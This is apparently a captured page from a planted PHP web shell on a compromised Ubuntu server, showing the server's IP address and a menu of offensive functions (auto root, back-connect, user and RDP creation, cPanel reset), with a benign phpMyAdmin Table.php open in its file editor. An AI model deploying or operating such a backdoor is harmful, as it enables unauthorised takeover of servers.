Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
BufferedQuery.php
13.45
KB
-rw-r--r--
CLI.php
6.02
KB
-rw-r--r--
Error.php
2.82
KB
-rw-r--r--
Formatter.php
22.01
KB
-rw-r--r--
Misc.php
2.9
KB
-rw-r--r--
Query.php
25.9
KB
-rw-r--r--
Routine.php
3.5
KB
-rw-r--r--
Table.php
3.56
KB
-rw-r--r--
Tokens.php
3.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Table.php
<?php /** * Table utilities. */ declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Utils; use PhpMyAdmin\SqlParser\Statements\CreateStatement; use function is_array; use function str_replace; /** * Table utilities. */ class Table { /** * Gets the foreign keys of the table. * * @param CreateStatement $statement the statement to be processed * * @return array */ public static function getForeignKeys($statement) { if (empty($statement->fields) || (! is_array($statement->fields)) || (! $statement->options->has('TABLE')) ) { return []; } $ret = []; foreach ($statement->fields as $field) { if (empty($field->key) || ($field->key->type !== 'FOREIGN KEY')) { continue; } $columns = []; foreach ($field->key->columns as $column) { $columns[] = $column['name']; } $tmp = [ 'constraint' => $field->name, 'index_list' => $columns, ]; if (! empty($field->references)) { $tmp['ref_db_name'] = $field->references->table->database; $tmp['ref_table_name'] = $field->references->table->table; $tmp['ref_index_list'] = $field->references->columns; $opt = $field->references->options->has('ON UPDATE'); if ($opt) { $tmp['on_update'] = str_replace(' ', '_', $opt); } $opt = $field->references->options->has('ON DELETE'); if ($opt) { $tmp['on_delete'] = str_replace(' ', '_', $opt); } } $ret[] = $tmp; } return $ret; } /** * Gets fields of the table. * * @param CreateStatement $statement the statement to be processed * * @return array */ public static function getFields($statement) { if (empty($statement->fields) || (! is_array($statement->fields)) || (! $statement->options->has('TABLE')) ) { return []; } $ret = []; foreach ($statement->fields as $field) { // Skipping keys. if (empty($field->type)) { continue; } $ret[$field->name] = [ 'type' => $field->type->name, 'timestamp_not_null' => false, ]; if ($field->options) { if ($field->type->name === 'TIMESTAMP') { if ($field->options->has('NOT NULL')) { $ret[$field->name]['timestamp_not_null'] = true; } } $option = $field->options->has('DEFAULT'); if ($option) { $ret[$field->name]['default_value'] = $option; if ($option === 'CURRENT_TIMESTAMP') { $ret[$field->name]['default_current_timestamp'] = true; } } $option = $field->options->has('ON UPDATE'); if ($option === 'CURRENT_TIMESTAMP') { $ret[$field->name]['on_update_current_timestamp'] = true; } $option = $field->options->has('AS'); if ($option) { $ret[$field->name]['generated'] = true; $ret[$field->name]['expr'] = $option; } } } return $ret; } }
Close